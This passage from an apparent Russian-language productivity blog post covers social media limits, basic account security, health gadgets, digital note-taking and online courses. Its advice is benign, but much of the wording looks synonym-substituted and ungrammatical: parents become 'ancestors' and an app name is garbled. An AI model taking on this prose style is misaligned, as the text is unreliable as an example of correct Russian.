НастройтС Π»ΠΈΠΌΠΈΡ‚Ρ‹: новСйшиС ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Ρ‹ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Π΄ΠΈΠ° ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Screen Time Π½Π° iOS ΠΈΠ»ΠΈ Digital Wellbeing Π½Π° Android).

ВыдСляйтС ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ «ΠΎΠΊΠ½Π°»: Π²Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π²ΠΎ Π’ΠšΠΎΠ½Ρ‚Π°ΠΊΡ‚Π΅/Telegram/Instagram Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΡ‚Ρ€ΠΎΠΌ послС ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Ρ‚Ρ€Π°ΠΏΠ΅Π·Ρ‹ ΠΈΠ»ΠΈ Π²Π΅Ρ‡Π΅Ρ€ΠΎΠΌ послС ΡƒΡ‡Π΅Π±Ρ‹; Π²Π½Π΅ этих ΠΎΡ‚Ρ€Π΅Π·ΠΊΠΎΠ² Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΡƒΠ±Π΅Ρ€ΠΈΡ‚Π΅ ярлыки ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ со стартового экрана смартфона!

Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‡Π°Ρ‚-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Ρ€Π°Π·ΡƒΠΌΠ½ΠΎ: ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΠΉΡ‚Π΅ Π³Ρ€ΡƒΠΏΠΏΠΎΠ²Ρ‹Π΅ Ρ‡Π°Ρ‚Ρ‹ Π² ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ занятий/Ρ€Π°Π±ΠΎΡ‚Ρ‹; Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠΉΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Π΅ сообщСния сразу послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Ρ€Π°Π±ΠΎΡ‡Π΅Π³ΠΎ Π±Π»ΠΎΠΊΠ° ΠΏΠΎ Pomodoro-Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ΅!

Π—Π°Π²Π΅Π΄ΠΈΡ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ «Π½Π΅Ρ‚ мобильника Π·Π° ΠΎΠ±Π΅Π΄Π΅Π½Π½Ρ‹ΠΌ столом»: это ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ нСпосрСдствСнноС ΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ Π²ΠΎ врСмя ΠΏΡ€ΠΈΠ΅ΠΌΠ° ΠΏΠΈΡ‰ΠΈ с Ρ‚ΠΎΠ²Π°Ρ€ΠΈΡ‰Π°ΠΌΠΈ ΠΈΠ»ΠΈ ΠΏΡ€Π΅Π΄ΠΊΠ°ΠΌΠΈ!

Π‘ΠΎΠ·Π½Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ восприятиС ΠΊ ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ сСтям ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Ρ‚Ρ€Π΅Π²ΠΎΠ³ΠΈ ΠΎΡ‚ постоянного сопоставлСния сСбя с ΠΏΡ€ΠΎΡ‡ΠΈΠΌΠΈ людьми ΠΈΠ· сСти.

Π’ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Π°Ρ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ ΠΊΠ°ΠΊ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ продуктивности

ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²ΠΎ Π½Π΅ помнят ΠΎ Ρ„Π°ΠΊΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚ΠΎΠ² нСпосрСдствСнно сказываСтся Π½Π° ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ! Π›ΠΈΡˆΠ΅Π½ΠΈΠ΅ возмоТности доступа ΠΊ e-mail ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Ρ€ΡƒΡˆΠΈΡ‚ΡŒ Π΄Π΅Π΄Π»Π°ΠΉΠ½ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°; хакСрская Π°Ρ‚Π°ΠΊΠ° Π½Π° Ρ‡Π°Ρ‚-прилоТСния Π³Ρ€ΠΎΠ·ΠΈΡ‚ ΡƒΡ‚Π΅Ρ‡ΠΊΠΎΠΉ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… свСдСний… Π›Π΅Π³ΠΊΠΈΠ΅ шаги ΡΠΏΠΎΡΠΎΠ±ΡΡ‚Π²ΡƒΡŽΡ‚ ΡƒΠ±Π΅Ρ€Π΅Ρ‡ΡŒ сСбя ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ:

Π‘Π°Π·ΠΎΠ²Ρ‹Π΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ бСзопасности

  1. ДвухступСнчатая идСнтификация
    ЗапускайтС Π΅Π΅ Π² всСх Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Ρ… услугах!
  2. НадСТныС ΠΏΠ°Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ„Ρ€Π°Π·Ρ‹
    Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ Π²Ρ€ΠΎΠ΄Π΅ Bitwarden ΠΈΠ»ΠΈ KeePassXC; Π½ΠΈ Π² ΠΊΠΎΠ΅ΠΌ случаС повторяйтС ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ для ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‰ΠΈΡ…ΡΡ сайтов!
  3. ΠŸΠ΅Ρ€ΠΈΠΎΠ΄ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅ модСрнизация ПО
    НС отсрочивайтС Π°ΠΏΠ΄Π΅ΠΉΡ‚Ρ‹ систСмы бСзопасности вашСго Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°/Π½ΠΎΡƒΡ‚Π±ΡƒΠΊΠ°!
  4. АрхивноС ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ…
    БохраняйтС ΠΊΠΎΠΏΠΈΠΈ Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² хотя Π±Ρ‹ Π² Π΄Π²ΡƒΡ… мСстах: Π²Π½ΡƒΡ‚Ρ€ΠΈ систСмы + ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹ΠΉ сСрвис!
  5. ΠžΡΡ‚ΠΎΡ€ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π΄Π°Π½Π½Ρ‹Ρ…
    НС ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠ΄ΠΎΠ·Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ влоТСния Π΄Π°ΠΆΠ΅ Ссли ΠΈΠΌΠ΅ΠΉΠ» ΠΏΡ€ΠΈΡˆΠ»ΠΎ якобы ΠΎΡ‚ приятСля!

Π‘Π»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠ΅ этих Ρ€Π΅Π³Π»Π°ΠΌΠ΅Π½Ρ‚ΠΎΠ² экономит ΠΊΡƒΡ‡Ρƒ Π½Π΅Ρ€Π²ΠΎΠ² Π²ΠΎ врСмя Π»ΡŽΠ±Ρ‹Ρ… Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½Ρ‹Ρ… ситуациях!

ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ для благополучия физичСского состояния ΠΈ ΡƒΠΌΠ°

ΠŸΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ нСосущСствима Π±Π΅Π· ΡƒΡ…ΠΎΠ΄Π° ΠΎ собствСнном физичСском состоянии! Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ дСвайсы Π² состоянии ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ физичСским состояниСм Ρ‚Π°ΠΊ ΠΆΠ΅ эффСктивно ΠΊΠ°ΠΊ Π·Π° ΠΏΠ΅Ρ€Π΅Ρ‡Π½Π΅ΠΌ Π·Π°Π΄Π°Ρ‡:

ΠŸΠΎΠ»Π΅Π·Π½Ρ‹Π΅ устройства ΠΈ прилоТСния

  • ЀитнСс-браслСты: Xiaomi Mi Band позволяСт Π²Π°ΠΌ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° числом шаТков Π·Π° сутки; Apple Watch сообщаСт ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ зарядку всСкий часок!
  • ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹-ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ†ΠΈΠΈ: Insight Timer ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ Π±Π΅Π·Π²ΠΎΠ·ΠΌΠ΅Π·Π΄Π½Ρ‹Π΅ аудиосСссии расслаблСния ΠΏΠ΅Ρ€Π΅Π΄ экзамСнами; Π£ΠΌΠΈΡ€ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ΠΈΠ΅ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒΡΡ Π² сон послС тяТСлого дня!
  • Π‘ΡƒΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊΠΈ сна: Sleep Cycle исслСдуСт состояниС сна ΠΏΠΎ Π·Π²ΡƒΠΊΠ°ΠΌ дыхания Ρ‡Π΅Ρ€Π΅Π· ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°!
  • Π£ΠΌΠ½Ρ‹Π΅ ΠΈΠ·ΠΌΠ΅Ρ€ΠΈΡ‚Π΅Π»ΠΈ: Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ массы сразу Π² софтвСрС HealthKit/Google Fit!

БистСматичСскоС эксплуатация Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹Ρ… устройств Ρ€Π°Π·Π²ΠΈΠ²Π°Π΅Ρ‚ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡ΠΊΡƒ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° собой Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΌ ΡƒΡ‡Π΅Π±Π½ΠΎΠΌ Π³Ρ€Π°Ρ„ΠΈΠΊΠ΅!

Π”Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ со ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ: созданиС ΠΎΠ½Π»Π°ΠΉΠ½ записСй

Π’Π΅ΠΊΡƒΡ‰Π΅Π΅ ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π½Π΅ прСдставляСтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π±Π΅Π· Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… конспСктов! Π¦ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π΅ записи ΡƒΠ΄ΠΎΠ±Π½Π΅Π΅ Π±ΡƒΠΌΠ°ΠΆΠ½Ρ‹Ρ… Ρ‚Π΅Ρ‚Ρ€Π°Π΄Π΅ΠΉ: ΠΈΡ… Π»Π΅Π³Ρ‡Π΅ ΡΠΈΡΡ‚Π΅ΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ; ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ, Ρ‡Π΅Ρ€Ρ‚Π΅ΠΆΠΈ, Ρ„ΠΎΡ€ΠΌΡƒΠ»; Π»Π΅Π³ΠΊΠΎ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π½ΡƒΠΆΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Ρ‡Π΅Ρ€Π΅Π· поиск.

Подсказки ΠΏΠΎ вСдСнию Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ ΠΎΠ½Π»Π°ΠΉΠ½

  1. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Markdown-записи (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Obsidian): Ρ‚Π°ΠΊ ΠΏΡ€ΠΎΡ‰Π΅ ΠΎΡ„ΠΎΡ€ΠΌΠ»ΡΡ‚ΡŒ тСкст!
  2. Для Π³Ρ€Π°Ρ„ΠΈΠΊΠΎΠ² задСйствуйтС встроСнныС инструмСнты Notion Π»ΠΈΠ±ΠΎ MindMeister;
  3. ΠŸΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚Π΅ рСгулярный Ρ€Π΅Π·Π΅Ρ€Π²Π½ΠΎΠ΅ ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ записСй.
  4. РаздСляйтС Π·Π°ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΠΎ курсам/аспСктам;
  5. ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‡Π°ΠΉΡ‚Π΅ Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π²Π°ΠΆΠ½Ρ‹Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρ‹ срока событий!

Π’Π°ΠΊΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ процСсс ΠΊ испытаниям мСньшС напряТСнной, Π° Π½Π°Ρ…ΠΎΠΆΠ΄Π΅Π½ΠΈΠ΅ свСдСний ΠΎΡ‡Π΅Π½ΡŒ быстрым!

ΠŸΠ»Π°ΡΡ‚ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ ΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΡ посрСдством Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ ΡƒΡ‡Π΅Π±Ρ‹

Π’ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ сСрвисы Π΄Π°ΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΊ Π»ΡƒΡ‡ΡˆΠΈΠΌ курсам ΠΌΠΈΡ€Π° прямо ΠΈΠ· своСго Π΄ΠΎΠΌΠ°! НапримСр, Coursera, Stepik, Skillbox, GeekBrains ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠ΅ занятия ΠΏΠΎ самым Ρ€Π°Π·Π½Ρ‹ΠΌ областям – ΠΎΡ‚ IT Π΄ΠΎ психоанализа… Π“Π»Π°Π²Π½ΠΎΠ΅ – Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚Π±ΠΈΡ€Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚:

Каким ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΎΠ±ΡƒΡ‡Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎ ΠΎΠ½Π»Π°ΠΉΠ½?

– Ясно ΠΈΠ·Π»Π°Π³Π°ΠΉΡ‚Π΅ Ρ†Π΅Π»ΡŒ ΡƒΡ‡Π΅Π±Ρ‹ (“ΠžΡΠ²ΠΎΠΈΡ‚ΡŒ основы Python Π΄ΠΎ окончания мСсяца”);
– ΠŸΠΈΡˆΠΈΡ‚Π΅ записи сразу ΠΏΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°Π½ΠΈΡ ΡƒΡ€ΠΎΠΊΠΎΠ²;
– Π‘Π΄Π°Π²Π°ΠΉΡ‚Π΅ тСсты, усваивая ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ;
– ΠžΠ±Ρ‰Π°ΠΉΡ‚Π΅ΡΡŒ со Π΅Π΄ΠΈΠ½ΠΎΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌΠΈ Ρ‡Π΅Ρ€Π΅Π· Ρ„ΠΎΡ€ΡƒΠΌΡ‹ Discord-Π³Ρ€ΡƒΠΏΠΏΡ‹ Telegram-ΠΊΠ°Π½Π°Π»Ρ‹ курсов!

Π˜Π½Π½ΠΎΠ²Π°Ρ†ΠΈΠΈ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ шанс ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ Π½Π°Π²Ρ‹ΠΊΠΈ быстро – основноС ΡƒΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΌΠΎΡ‚ΠΈΠ²Π°Ρ†ΠΈΡŽ Π·Π°Π²Π΅Ρ€ΡˆΠ°Ρ‚ΡŒ Π½Π°Ρ‡Π°Ρ‚ΠΎΠ΅ Π΄Π΅Π»ΠΎ.

Π‘ΠΎΠ·Π½Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ интСграция Ρ‚Π΅Ρ…Π½ΠΎ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊ трансформируСт дСвайсы ΠΈΠ· ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρ‹ дистракций Π² истинных союзников! Π‘Π°ΠΌΠΎΠ΅ Π²Π°ΠΆΠ½ΠΎΠ΅ – ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ ΠΎ равновСсии ΠΌΠ΅ΠΆΠ΄Ρƒ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Тизнью, Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ встрСчами, ΡƒΡ…ΠΎΠ΄ΠΎΠΌ Π·Π° собой, ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ структуризациСй ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ… ΠŸΡƒΡΡ‚ΡŒ ваши собствСнныС Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ для вас самих, Π° Π½Π΅ Π²ΠΎΠΏΡ€Π΅ΠΊΠΈ вас самих!

Nx_17bc5749dcc8

Leave a Reply

Your email address will not be published. Required fields are marked *